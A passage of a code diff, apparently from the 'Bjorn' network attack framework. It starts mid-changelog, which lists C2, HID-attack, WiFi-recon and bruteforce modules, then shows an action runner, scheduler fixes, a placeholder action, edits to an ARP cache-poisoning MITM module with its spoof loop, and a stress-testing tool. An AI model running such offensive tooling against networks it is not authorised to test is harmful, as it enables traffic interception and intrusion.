- Built-in layouts for 2.13" and 2.7" Waveshare e-paper displays
|
||||||
|
- 20+ positionable UI elements (icons, text, bars, status indicators)
|
||||||
|
- Custom layout override via `resources/layouts/{epd_type}.json`
|
||||||
|
- `px()`/`py()` scaling preserved for resolution independence
|
||||||
|
- **EPD Manager** (`epd_manager.py`) — Abstraction layer over Waveshare EPD hardware
|
||||||
|
- **Web-based EPD Layout Editor** — SVG drag-and-drop canvas with:
|
||||||
|
- Corner resize handles
|
||||||
|
- Color/NB/BN display mode preview
|
||||||
|
- Grid/snap, zoom (50-600%), toggleable element labels
|
||||||
|
- Add/delete elements, import/export layout JSON
|
||||||
|
- 50-deep undo stack (Ctrl+Z)
|
||||||
|
- Color-coded elements by type
|
||||||
|
- Arrow key nudge, keyboard shortcuts
|
||||||
|
- **Display module** (`display.py`) grew from 390 to **1,130 lines** with multi-layout rendering pipeline
|
||||||
|
|
||||||
|
#### Web Server — Massive Expansion
|
||||||
|
|
||||||
|
- **webapp.py** grew from 222 to **1,037 lines**
|
||||||
|
- **18 web utility modules** in `web_utils/` (was: 0):
|
||||||
|
- `action_utils.py`, `attack_utils.py`, `backup_utils.py`, `bifrost_utils.py`
|
||||||
|
- `bluetooth_utils.py`, `c2_utils.py`, `character_utils.py`, `comment_utils.py`
|
||||||
|
- `db_utils.py`, `debug_utils.py`, `file_utils.py`, `image_utils.py`
|
||||||
|
- `index_utils.py`, `llm_utils.py`, `loki_utils.py`, `netkb_utils.py`
|
||||||
|
- `network_utils.py`, `orchestrator_utils.py`, `rl_utils.py`, `script_utils.py`
|
||||||
|
- `sentinel_utils.py`, `studio_utils.py`, `system_utils.py`, `vuln_utils.py`
|
||||||
|
- `webenum_utils.py`
|
||||||
|
- **Paginated API endpoints** for heavy data (`?page=N&per_page=M`)
|
||||||
|
- **RESTful API** covering all new features (LLM, MCP, Sentinel, Bifrost, Loki, C2, EPD editor, backups, etc.)
|
||||||
|
|
||||||
|
#### Configuration — Greatly Expanded
|
||||||
|
|
||||||
|
- **shared.py** grew from 685 to **1,502 lines** — more than doubled
|
||||||
|
- **New configuration sections**:
|
||||||
|
- LLM Bridge (14 parameters)
|
||||||
|
- MCP Server (4 parameters)
|
||||||
|
- LLM Orchestrator (7 parameters)
|
||||||
|
- AI/ML Engine (feature selection, model versioning, cold-start bootstrap)
|
||||||
|
- Circuit breaker (threshold, cooldown)
|
||||||
|
- Manual mode scanning (interval, auto-scan toggle)
|
||||||
|
- Sentinel watchdog settings
|
||||||
|
- Bifrost WiFi recon settings
|
||||||
|
- Loki HID attack settings
|
||||||
|
- Runtime state updater timings
|
||||||
|
- **Default config system** — `resources/default_config/` with bundled default action modules and comment templates
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Security Fixes
|
||||||
|
|
||||||
|
- **[SEC-01]** Eliminated all `shell=True` subprocess calls — replaced with safe argument lists
|
||||||
|
- **[SEC-02]** Added MAC address validation (regex) in DELETE route handler to prevent path traversal
|
||||||
|
- **[SEC-03]** Strengthened path validation using `os.path.realpath()` + dedicated validation helper to prevent symlink-based path traversal
|
||||||
|
- **[SEC-04]** Cortex config secrets replaced with placeholder values, properly `.gitignore`d
|
||||||
|
- **[SEC-05]** Added JWT authentication to Cortex WebSocket `/ws/logs` endpoint
|
||||||
|
- **[SEC-06]** Cortex device API authentication now required by default, CORS configurable via environment variable
|
||||||
|
- **MCP security** — Per-tool access control via `mcp_allowed_tools`, `query_db` restricted to SELECT only
|
||||||
|
- **File operations** — All file upload/download/delete operations use canonicalized path validation
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
- **[BT-01]** Replaced bare `except:` clauses with specific exception handling + logging in Bluetooth utils
|
||||||
|
- **[BT-02]** Added null address validation in Bluetooth route entry points
|
||||||
|
- **[BT-03]** Added `threading.Lock` for `bt.json` read/write (race condition fix)
|
||||||
|
- **[BT-04]** Changed `auto_bt_connect` service restart to non-fatal (`check=False`)
|
||||||
|
- **[WEB-01]** Fixed SSE reconnect counter — only resets after 5+ consecutive healthy messages (was: reset on every single message, enabling infinite reconnect loops)
|
||||||
|
- **[WEB-02]** Removed empty string from `silent_routes` that was suppressing ALL log messages
|
||||||
|
- **[STAB-03]** Cleaned up dead GPS UI references, wired rl-dashboard mount
|
||||||
|
- **[ORCH-BUG]** Fixed Auto->Manual mode switch not resetting status to IDLE (4-location fix across `orchestrator.py`, `Bjorn.py`, and `orchestrator_utils.py`)
|
||||||
|
- Fixed D3 network graph memory leaks on page navigation
|
||||||
|
- Fixed multiple zombie timer and event listener leaks across all SPA pages
|
||||||
|
- Fixed search debounce timers not being cleaned up on unmount
|
||||||
|
|
||||||
|
### Quality & Stability
|
||||||
|
|
||||||
|
- **Standardized error handling** across all `web_utils` modules with consistent JSON response format
|
||||||
|
- **Magic numbers extracted** to named constants throughout the codebase
|
||||||
|
- **All 18 SPA pages** reviewed and hardened:
|
||||||
|
- 11 pages fully rewritten with ResourceTracker, safe DOM (no innerHTML), visibility-aware pollers
|
||||||
|
- 7 pages with targeted fixes for memory leaks, zombie timers, state reset issues
|
||||||
|
- **Uniform action metadata format** — All actions use AST-friendly `b_*` module-level constants for class, module, status, port, service, trigger, priority, cooldown, rate_limit, etc.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Infrastructure & DevOps
|
||||||
|
|
||||||
|
- **Mode Switcher** (`mode-switcher.sh`) — Shell script for switching between operation modes
|
||||||
|
- **Bluetooth setup** (`bjorn_bluetooth.sh`) — Automated Bluetooth service configuration
|
||||||
|
- **USB Gadget setup** (`bjorn_usb_gadget.sh`) — USB HID gadget mode configuration for Loki
|
||||||
|
- **WiFi setup** (`bjorn_wifi.sh`) — WiFi interface and monitor mode management
|
||||||
|
- **MAC prefix database** (`data/input/prefixes/nmap-mac-prefixes.txt`) — Vendor identification for discovered devices
|
||||||
|
- **Common wordlists** (`data/input/wordlists/common.txt`) — Built-in wordlist for web enumeration
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
**Added:**
|
||||||
|
- `zeroconf>=0.131.0` — LaRuche/LAND mDNS auto-discovery
|
||||||
|
- `paramiko` — SSH operations for C2 agent communication (moved from optional to core)
|
||||||
|
- `cryptography` (via Fernet) — C2 communication encryption
|
||||||
|
|
||||||
|
**Removed:**
|
||||||
|
- `Pillow==9.4.0` — No longer pinned (use system version)
|
||||||
|
- `rich==13.9.4` — Removed (was used for standalone logging)
|
||||||
|
- `pandas==2.2.3` — Removed (lightweight alternatives used instead)
|
||||||
|
|
||||||
|
**Optional (documented):**
|
||||||
|
- `mcp[cli]>=1.0.0` — MCP server support
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Breaking Changes
|
||||||
|
|
||||||
|
- **Web UI URLs changed** — Individual page URLs (`/bjorn.html`, `/config.html`, etc.) replaced by SPA hash routes (`/#/bjorn`, `/#/settings`, etc.)
|
||||||
|
- **Database schema expanded** — New tables for actions queue, circuit breaker, sentinel alerts, bifrost data, loki jobs, C2 agents, web enumeration, studio pipelines. Migration is automatic.
|
||||||
|
- **Configuration keys expanded** — `shared_config.json` now contains 45+ additional keys. Unknown keys are safely ignored; new defaults are applied automatically.
|
||||||
|
- **Action module format updated** — Actions now use `b_*` metadata constants instead of class-level attributes. Old-format actions will need migration.
|
||||||
|
- **RDP actions removed** — `rdp_connector.py` and `steal_files_rdp.py` dropped in favor of more capable modules.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Stats
|
||||||
|
|
||||||
|
```
|
||||||
|
Component | v1 | v2 | Change
|
||||||
|
─────────────────────┼───────────┼─────────────┼──────────
|
||||||
|
Python files | 37 | 130+ | +250%
|
||||||
|
Python LoC | ~8,200 | ~58,000 | +607%
|
||||||
|
JS/CSS/HTML LoC | ~2,100 | ~42,000 | +1,900%
|
||||||
|
Action modules | 17 | 32 | +88%
|
||||||
|
Web pages | 6 | 25 | +317%
|
||||||
|
DB modules | 1 | 18 | +1,700%
|
||||||
|
Web API modules | 0 | 18+ | New
|
||||||
|
Config parameters | ~80 | ~180+ | +125%
|
||||||
|
Supported languages | 1 | 7 | +600%
|
||||||
|
Shell scripts | 3 | 5 | +67%
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
*Skol! The Cyberviking has evolved.*
|
||||||
121
action_runner.py
Normal file
121
action_runner.py
Normal file
@@ -0,0 +1,121 @@
|
|||||||
|
"""action_runner.py - Generic subprocess wrapper for running Bjorn actions from the web UI."""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import signal
|
||||||
|
import importlib
|
||||||
|
import argparse
|
||||||
|
import traceback
|
||||||
|
|
||||||
|
|
||||||
|
def _inject_extra_args(shared_data, remaining):
|
||||||
|
"""Parse leftover --key value pairs and set them as shared_data attributes."""
|
||||||
|
i = 0
|
||||||
|
while i < len(remaining):
|
||||||
|
token = remaining[i]
|
||||||
|
if token.startswith("--"):
|
||||||
|
key = token[2:].replace("-", "_")
|
||||||
|
if i + 1 < len(remaining) and not remaining[i + 1].startswith("--"):
|
||||||
|
val = remaining[i + 1]
|
||||||
|
# Auto-cast numeric values
|
||||||
|
try:
|
||||||
|
val = int(val)
|
||||||
|
except ValueError:
|
||||||
|
try:
|
||||||
|
val = float(val)
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
setattr(shared_data, key, val)
|
||||||
|
i += 2
|
||||||
|
else:
|
||||||
|
setattr(shared_data, key, True)
|
||||||
|
i += 1
|
||||||
|
else:
|
||||||
|
i += 1
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="Bjorn Action Runner - bootstraps shared_data and calls action.execute()"
|
||||||
|
)
|
||||||
|
parser.add_argument("b_module", help="Action module name (e.g. ssh_bruteforce)")
|
||||||
|
parser.add_argument("b_class", help="Action class name (e.g. SSHBruteforce)")
|
||||||
|
parser.add_argument("--ip", default="", help="Target IP address")
|
||||||
|
parser.add_argument("--port", default="", help="Target port")
|
||||||
|
parser.add_argument("--mac", default="", help="Target MAC address")
|
||||||
|
|
||||||
|
args, remaining = parser.parse_known_args()
|
||||||
|
|
||||||
|
# Bootstrap shared_data (creates fresh DB conn, loads config)
|
||||||
|
print(f"[runner] Loading shared_data for {args.b_class}...")
|
||||||
|
from init_shared import shared_data
|
||||||
|
|
||||||
|
# Graceful shutdown on SIGTERM (user clicks Stop in the UI)
|
||||||
|
def _sigterm(signum, frame):
|
||||||
|
print("[runner] SIGTERM received, requesting graceful stop...")
|
||||||
|
shared_data.orchestrator_should_exit = True
|
||||||
|
|
||||||
|
signal.signal(signal.SIGTERM, _sigterm)
|
||||||
|
|
||||||
|
# Inject extra CLI flags as shared_data attributes
|
||||||
|
# e.g. --berserker-mode tcp -> shared_data.berserker_mode = "tcp"
|
||||||
|
_inject_extra_args(shared_data, remaining)
|
||||||
|
|
||||||
|
# Dynamic import (custom/ paths use dots: actions.custom.my_script)
|
||||||
|
module_path = f"actions.{args.b_module.replace('/', '.')}"
|
||||||
|
print(f"[runner] Importing {module_path}...")
|
||||||
|
module = importlib.import_module(module_path)
|
||||||
|
action_class = getattr(module, args.b_class)
|
||||||
|
|
||||||
|
# Instantiate with shared_data (same as orchestrator)
|
||||||
|
action_instance = action_class(shared_data)
|
||||||
|
|
||||||
|
# Resolve MAC from DB if not provided
|
||||||
|
mac = args.mac
|
||||||
|
if not mac and args.ip:
|
||||||
|
try:
|
||||||
|
rows = shared_data.db.query(
|
||||||
|
"SELECT \"MAC Address\" FROM hosts WHERE IPs = ? LIMIT 1",
|
||||||
|
(args.ip,)
|
||||||
|
)
|
||||||
|
if rows:
|
||||||
|
mac = rows[0].get("MAC Address", "") or ""
|
||||||
|
except Exception:
|
||||||
|
mac = ""
|
||||||
|
|
||||||
|
# Build row dict (matches orchestrator.py:609-614)
|
||||||
|
ip = args.ip or ""
|
||||||
|
port = args.port or ""
|
||||||
|
row = {
|
||||||
|
"MAC Address": mac or "",
|
||||||
|
"IPs": ip,
|
||||||
|
"Ports": port,
|
||||||
|
"Alive": 1,
|
||||||
|
}
|
||||||
|
|
||||||
|
# Execute
|
||||||
|
print(f"[runner] Executing {args.b_class} on {ip or 'global'}:{port}...")
|
||||||
|
|
||||||
|
if hasattr(action_instance, "scan") and not ip:
|
||||||
|
# Global action (e.g. NetworkScanner)
|
||||||
|
action_instance.scan()
|
||||||
|
result = "success"
|
||||||
|
else:
|
||||||
|
if not ip:
|
||||||
|
print(f"[runner] ERROR: {args.b_class} requires --ip but none provided")
|
||||||
|
sys.exit(1)
|
||||||
|
result = action_instance.execute(ip, port, row, args.b_class)
|
||||||
|
|
||||||
|
print(f"[runner] Finished with result: {result}")
|
||||||
|
sys.exit(0 if result == "success" else 1)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
try:
|
||||||
|
main()
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("\n[runner] Interrupted")
|
||||||
|
sys.exit(130)
|
||||||
|
except Exception:
|
||||||
|
traceback.print_exc()
|
||||||
|
sys.exit(2)
|
||||||
@@ -1,18 +1,4 @@
|
|||||||
# action_scheduler.py testsdd
|
"""action_scheduler.py - Trigger evaluation, queue management, and dedup for scheduled actions."""
|
||||||
# Smart Action Scheduler for Bjorn - queue-only implementation
|
|
||||||
# Handles trigger evaluation, requirements checking, and queue management.
|
|
||||||
#
|
|
||||||
# Invariants we enforce:
|
|
||||||
# - At most ONE "active" row per (action_name, mac_address, COALESCE(port,0))
|
|
||||||
# where active ∈ {'scheduled','pending','running'}.
|
|
||||||
# - Retries for failed entries are coordinated by cleanup_queue() (with backoff)
|
|
||||||
# and never compete with trigger-based enqueues.
|
|
||||||
#
|
|
||||||
# Runtime knobs (from shared.py):
|
|
||||||
# shared_data.retry_success_actions : bool (default False)
|
|
||||||
# shared_data.retry_failed_actions : bool (default True)
|
|
||||||
#
|
|
||||||
# These take precedence over cooldown / rate-limit for NON-interval triggers.
|
|
||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
@@ -82,6 +68,9 @@ class ActionScheduler:
|
|||||||
self._last_cache_refresh = 0.0
|
self._last_cache_refresh = 0.0
|
||||||
self._cache_ttl = 60.0 # seconds
|
self._cache_ttl = 60.0 # seconds
|
||||||
|
|
||||||
|
# Lock for global action evaluation (must be created here, not lazily)
|
||||||
|
self._globals_lock = threading.Lock()
|
||||||
|
|
||||||
# Memory for global actions
|
# Memory for global actions
|
||||||
self._last_global_runs: Dict[str, float] = {}
|
self._last_global_runs: Dict[str, float] = {}
|
||||||
# Actions Studio last source type
|
# Actions Studio last source type
|
||||||
@@ -133,7 +122,7 @@ class ActionScheduler:
|
|||||||
# Keep queue consistent with current enable/disable flags.
|
# Keep queue consistent with current enable/disable flags.
|
||||||
self._cancel_queued_disabled_actions()
|
self._cancel_queued_disabled_actions()
|
||||||
|
|
||||||
# 1) Promote scheduled actions that are due (always — queue hygiene)
|
# 1) Promote scheduled actions that are due (always - queue hygiene)
|
||||||
self._promote_scheduled_to_pending()
|
self._promote_scheduled_to_pending()
|
||||||
|
|
||||||
# When LLM autonomous mode owns scheduling, skip trigger evaluation
|
# When LLM autonomous mode owns scheduling, skip trigger evaluation
|
||||||
@@ -158,7 +147,7 @@ class ActionScheduler:
|
|||||||
|
|
||||||
if not _llm_skip:
|
if not _llm_skip:
|
||||||
if _llm_wants_skip and _queue_empty:
|
if _llm_wants_skip and _queue_empty:
|
||||||
logger.info("Scheduler: LLM queue empty — heuristic fallback active")
|
logger.info("Scheduler: LLM queue empty - heuristic fallback active")
|
||||||
# 2) Publish next scheduled occurrences for interval actions
|
# 2) Publish next scheduled occurrences for interval actions
|
||||||
self._publish_all_upcoming()
|
self._publish_all_upcoming()
|
||||||
|
|
||||||
@@ -170,7 +159,7 @@ class ActionScheduler:
|
|||||||
else:
|
else:
|
||||||
logger.debug("Scheduler: trigger evaluation skipped (LLM autonomous owns scheduling)")
|
logger.debug("Scheduler: trigger evaluation skipped (LLM autonomous owns scheduling)")
|
||||||
|
|
||||||
# 5) Queue maintenance (always — starvation prevention + cleanup)
|
# 5) Queue maintenance (always - starvation prevention + cleanup)
|
||||||
self.cleanup_queue()
|
self.cleanup_queue()
|
||||||
self.update_priorities()
|
self.update_priorities()
|
||||||
|
|
||||||
@@ -768,8 +757,6 @@ class ActionScheduler:
|
|||||||
|
|
||||||
def _evaluate_global_actions(self):
|
def _evaluate_global_actions(self):
|
||||||
"""Evaluate and queue global actions with on_start trigger."""
|
"""Evaluate and queue global actions with on_start trigger."""
|
||||||
self._globals_lock = getattr(self, "_globals_lock", threading.Lock())
|
|
||||||
|
|
||||||
with self._globals_lock:
|
with self._globals_lock:
|
||||||
try:
|
try:
|
||||||
for action in self._action_definitions.values():
|
for action in self._action_definitions.values():
|
||||||
|
|||||||
@@ -1,14 +1,34 @@
|
|||||||
|
"""IDLE.py - No-op placeholder action for idle state."""
|
||||||
|
|
||||||
from shared import SharedData
|
from shared import SharedData
|
||||||
|
|
||||||
b_class = "IDLE"
|
b_class = "IDLE"
|
||||||
b_module = "idle"
|
b_module = "idle"
|
||||||
b_status = "IDLE"
|
b_status = "IDLE"
|
||||||
|
b_enabled = 0
|
||||||
|
b_action = "normal"
|
||||||
|
b_trigger = None
|
||||||
|
b_port = None
|
||||||
|
b_service = "[]"
|
||||||
|
b_priority = 0
|
||||||
|
b_timeout = 60
|
||||||
|
b_cooldown = 0
|
||||||
|
b_name = "IDLE"
|
||||||
|
b_description = "No-op placeholder action representing idle state."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "1.0.0"
|
||||||
|
b_max_retries = 0
|
||||||
|
b_stealth_level = 10
|
||||||
|
b_risk_level = "low"
|
||||||
|
b_tags = ["idle", "placeholder"]
|
||||||
|
b_category = "system"
|
||||||
|
b_icon = "IDLE.png"
|
||||||
|
|
||||||
|
|
||||||
class IDLE:
|
class IDLE:
|
||||||
def __init__(self, shared_data):
|
def __init__(self, shared_data):
|
||||||
self.shared_data = shared_data
|
self.shared_data = shared_data
|
||||||
|
|
||||||
|
def execute(self, ip, port, row, status_key) -> str:
|
||||||
|
"""No-op action. Always returns success."""
|
||||||
|
return "success"
|
||||||
|
|||||||
@@ -1,15 +1,6 @@
|
|||||||
"""
|
"""arp_spoofer.py - Bidirectional ARP cache poisoning for MITM positioning.
|
||||||
arp_spoofer.py — ARP Cache Poisoning for Man-in-the-Middle positioning.
|
|
||||||
|
|
||||||
Ethical cybersecurity lab action for Bjorn framework.
|
Spoofs target<->gateway ARP entries; auto-restores tables on exit.
|
||||||
Performs bidirectional ARP spoofing between a target host and the network
|
|
||||||
gateway. Restores ARP tables on completion or interruption.
|
|
||||||
|
|
||||||
SQL mode:
|
|
||||||
- Orchestrator provides (ip, port, row) for the target host.
|
|
||||||
- Gateway IP is auto-detected from system routing table or shared config.
|
|
||||||
- Results persisted to JSON output and logged for RL training.
|
|
||||||
- Fully integrated with EPD display (progress, status, comments).
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import os
|
import os
|
||||||
@@ -104,7 +95,7 @@ class ARPSpoof:
|
|||||||
from scapy.all import ARP, Ether, sendp, sr1 # noqa: F401
|
from scapy.all import ARP, Ether, sendp, sr1 # noqa: F401
|
||||||
self._scapy_ok = True
|
self._scapy_ok = True
|
||||||
except ImportError:
|
except ImportError:
|
||||||
logger.error("scapy not available — ARPSpoof will not function")
|
logger.error("scapy not available - ARPSpoof will not function")
|
||||||
self._scapy_ok = False
|
self._scapy_ok = False
|
||||||
|
|
||||||
# ─────────────────── Identity Cache ──────────────────────
|
# ─────────────────── Identity Cache ──────────────────────
|
||||||
@@ -231,7 +222,7 @@ class ARPSpoof:
|
|||||||
logger.error(f"Cannot detect gateway for ARP spoof on {ip}")
|
logger.error(f"Cannot detect gateway for ARP spoof on {ip}")
|
||||||
return "failed"
|
return "failed"
|
||||||
if gateway_ip == ip:
|
if gateway_ip == ip:
|
||||||
logger.warning(f"Target {ip} IS the gateway — skipping")
|
logger.warning(f"Target {ip} IS the gateway - skipping")
|
||||||
return "failed"
|
return "failed"
|
||||||
|
|
||||||
logger.info(f"ARP Spoof: target={ip} gateway={gateway_ip}")
|
logger.info(f"ARP Spoof: target={ip} gateway={gateway_ip}")
|
||||||
@@ -252,7 +243,7 @@ class ARPSpoof:
|
|||||||
return "failed"
|
return "failed"
|
||||||
|
|
||||||
self.shared_data.bjorn_progress = "20%"
|
self.shared_data.bjorn_progress = "20%"
|
||||||
logger.info(f"Resolved — target_mac={target_mac}, gateway_mac={gateway_mac}")
|
logger.info(f"Resolved - target_mac={target_mac}, gateway_mac={gateway_mac}")
|
||||||
self.shared_data.log_milestone(b_class, "PoisonActive", f"MACs resolved, starting spoof")
|
self.shared_data.log_milestone(b_class, "PoisonActive", f"MACs resolved, starting spoof")
|
||||||
|
|
||||||
# 3) Spoofing loop
|
# 3) Spoofing loop
|
||||||
@@ -263,7 +254,7 @@ class ARPSpoof:
|
|||||||
|
|
||||||
while (time.time() - start_time) < duration:
|
while (time.time() - start_time) < duration:
|
||||||
if self.shared_data.orchestrator_should_exit:
|
if self.shared_data.orchestrator_should_exit:
|
||||||
logger.info("Orchestrator exit — stopping ARP spoof")
|
logger.info("Orchestrator exit - stopping ARP spoof")
|
||||||
break
|
break
|
||||||
self._send_arp_poison(ip, target_mac, gateway_ip, iface)
|
self._send_arp_poison(ip, target_mac, gateway_ip, iface)
|
||||||
self._send_arp_poison(gateway_ip, gateway_mac, ip, iface)
|
self._send_arp_poison(gateway_ip, gateway_mac, ip, iface)
|
||||||
|
|||||||
@@ -1,19 +1,8 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
"""
|
"""berserker_force.py - Rate-limited service stress testing with degradation analysis.
|
||||||
berserker_force.py -- Service resilience / stress testing (Pi Zero friendly, orchestrator compatible).
|
|
||||||
|
|
||||||
What it does:
|
Measures baseline response times, applies light load (max 50 req/s), then reports per-port degradation.
|
||||||
- Phase 1 (Baseline): Measures TCP connect response times per port (3 samples each).
|
|
||||||
- Phase 2 (Stress Test): Runs a rate-limited load test using TCP connect, optional SYN probes
|
|
||||||
(scapy), HTTP probes (urllib), or mixed mode.
|
|
||||||
- Phase 3 (Post-stress): Re-measures baseline to detect degradation.
|
|
||||||
- Phase 4 (Analysis): Computes per-port degradation percentages, writes a JSON report.
|
|
||||||
|
|
||||||
This is NOT a DoS tool. It sends measured, rate-limited probes and records how the
|
|
||||||
target's response times change under light load. Max 50 req/s to stay RPi-safe.
|
|
||||||
|
|
||||||
Output is saved to data/output/stress/<ip>_<timestamp>.json
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import json
|
import json
|
||||||
@@ -115,8 +104,8 @@ b_examples = [
|
|||||||
b_docs_url = "docs/actions/BerserkerForce.md"
|
b_docs_url = "docs/actions/BerserkerForce.md"
|
||||||
|
|
||||||
# -------------------- Constants -----------------------------------------------
|
# -------------------- Constants -----------------------------------------------
|
||||||
_DATA_DIR = "/home/bjorn/Bjorn/data"
|
_DATA_DIR = None # Resolved at runtime via shared_data.data_dir
|
||||||
OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "stress")
|
OUTPUT_DIR = None # Resolved at runtime via shared_data.data_dir
|
||||||
|
|
||||||
_BASELINE_SAMPLES = 3 # TCP connect samples per port for baseline
|
_BASELINE_SAMPLES = 3 # TCP connect samples per port for baseline
|
||||||
_CONNECT_TIMEOUT_S = 2.0 # socket connect timeout
|
_CONNECT_TIMEOUT_S = 2.0 # socket connect timeout
|
||||||
@@ -428,15 +417,16 @@ class BerserkerForce:
|
|||||||
|
|
||||||
def _save_report(self, ip: str, mode: str, duration_s: int, rate: int, analysis: Dict) -> str:
|
def _save_report(self, ip: str, mode: str, duration_s: int, rate: int, analysis: Dict) -> str:
|
||||||
"""Write the JSON report and return the file path."""
|
"""Write the JSON report and return the file path."""
|
||||||
|
output_dir = os.path.join(self.shared_data.data_dir, "output", "stress")
|
||||||
try:
|
try:
|
||||||
os.makedirs(OUTPUT_DIR, exist_ok=True)
|
os.makedirs(output_dir, exist_ok=True)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.warning(f"Could not create output dir {OUTPUT_DIR}: {exc}")
|
logger.warning(f"Could not create output dir {output_dir}: {exc}")
|
||||||
|
|
||||||
ts = datetime.now(timezone.utc).strftime("%Y-%m-%d_%H-%M-%S")
|
ts = datetime.now(timezone.utc).strftime("%Y-%m-%d_%H-%M-%S")
|
||||||
safe_ip = ip.replace(":", "_").replace(".", "_")
|
safe_ip = ip.replace(":", "_").replace(".", "_")
|
||||||
filename = f"{safe_ip}_{ts}.json"
|
filename = f"{safe_ip}_{ts}.json"
|
||||||
filepath = os.path.join(OUTPUT_DIR, filename)
|
filepath = os.path.join(output_dir, filename)
|
||||||
|
|
||||||
report = {
|
report = {
|
||||||
"tool": "berserker_force",
|
"tool": "berserker_force",
|
||||||
|
|||||||
@@ -1,3 +1,5 @@
|
|||||||
|
"""bruteforce_common.py - Shared helpers for all bruteforce actions (progress tracking, password generation)."""
|
||||||
|
|
||||||
import itertools
|
import itertools
|
||||||
import threading
|
import threading
|
||||||
import time
|
import time
|
||||||
|
|||||||
0
actions/custom/__init__.py
Normal file
0
actions/custom/__init__.py
Normal file
105
actions/custom/example_bjorn_action.py
Normal file
105
actions/custom/example_bjorn_action.py
Normal file
@@ -0,0 +1,105 @@
|
|||||||
|
"""example_bjorn_action.py - Custom action template using the Bjorn action format."""
|
||||||
|
|
||||||
|
import time
|
||||||
|
import logging
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
logger = Logger(name="example_bjorn_action", level=logging.DEBUG)
|
||||||
|
|
||||||
|
# ---- Bjorn action metadata (required for Bjorn format detection) ----
|
||||||
|
b_class = "ExampleBjornAction"
|
||||||
|
b_module = "custom/example_bjorn_action"
|
||||||
|
b_name = "Example Bjorn Action"
|
||||||
|
b_description = "Demo custom action with shared_data access and DB queries."
|
||||||
|
b_author = "Bjorn Community"
|
||||||
|
b_version = "1.0.0"
|
||||||
|
b_action = "custom"
|
||||||
|
b_enabled = 1
|
||||||
|
b_priority = 50
|
||||||
|
b_port = None
|
||||||
|
b_service = None
|
||||||
|
b_trigger = None
|
||||||
|
b_parent = None
|
||||||
|
b_cooldown = 0
|
||||||
|
b_rate_limit = None
|
||||||
|
b_tags = '["custom", "example", "template"]'
|
||||||
|
|
||||||
|
# ---- Argument schema (drives the web UI controls) ----
|
||||||
|
b_args = {
|
||||||
|
"target_ip": {
|
||||||
|
"type": "text",
|
||||||
|
"default": "192.168.1.1",
|
||||||
|
"description": "Target IP address to probe"
|
||||||
|
},
|
||||||
|
"scan_count": {
|
||||||
|
"type": "number",
|
||||||
|
"default": 3,
|
||||||
|
"min": 1,
|
||||||
|
"max": 100,
|
||||||
|
"description": "Number of probe iterations"
|
||||||
|
},
|
||||||
|
"verbose": {
|
||||||
|
"type": "checkbox",
|
||||||
|
"default": False,
|
||||||
|
"description": "Enable verbose output"
|
||||||
|
},
|
||||||
|
"mode": {
|
||||||
|
"type": "select",
|
||||||
|
"choices": ["quick", "normal", "deep"],
|
||||||
|
"default": "normal",
|
||||||
|
"description": "Scan depth"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
b_examples = [
|
||||||
|
{"name": "Quick local scan", "args": {"target_ip": "192.168.1.1", "scan_count": 1, "mode": "quick"}},
|
||||||
|
{"name": "Deep scan", "args": {"target_ip": "10.0.0.1", "scan_count": 10, "mode": "deep", "verbose": True}},
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
class ExampleBjornAction:
|
||||||
|
"""Custom Bjorn action with full shared_data access."""
|
||||||
|
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
logger.info("ExampleBjornAction initialized")
|
||||||
|
|
||||||
|
def execute(self, ip, port, row, status_key):
|
||||||
|
"""Main entry point called by action_runner / orchestrator.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
ip: Target IP address
|
||||||
|
port: Target port (may be empty)
|
||||||
|
row: Dict with MAC Address, IPs, Ports, Alive
|
||||||
|
status_key: Action class name (for status tracking)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
'success' or 'failed'
|
||||||
|
"""
|
||||||
|
verbose = getattr(self.shared_data, "verbose", False)
|
||||||
|
scan_count = int(getattr(self.shared_data, "scan_count", 3))
|
||||||
|
mode = getattr(self.shared_data, "mode", "normal")
|
||||||
|
|
||||||
|
print(f"[*] Running ExampleBjornAction on {ip} (mode={mode}, count={scan_count})")
|
||||||
|
|
||||||
|
# Example: query DB for known hosts
|
||||||
|
try:
|
||||||
|
host_count = self.shared_data.db.query_one(
|
||||||
|
"SELECT COUNT(1) c FROM hosts"
|
||||||
|
)
|
||||||
|
print(f"[*] Known hosts in DB: {host_count['c'] if host_count else 0}")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] DB query failed: {e}")
|
||||||
|
|
||||||
|
# Simulate work
|
||||||
|
for i in range(scan_count):
|
||||||
|
if getattr(self.shared_data, "orchestrator_should_exit", False):
|
||||||
|
print("[!] Stop requested, aborting")
|
||||||
|
return "failed"
|
||||||
|
print(f"[*] Probe {i+1}/{scan_count} on {ip}...")
|
||||||
|
if verbose:
|
||||||
|
print(f" MAC={row.get('MAC Address', 'unknown')} mode={mode}")
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
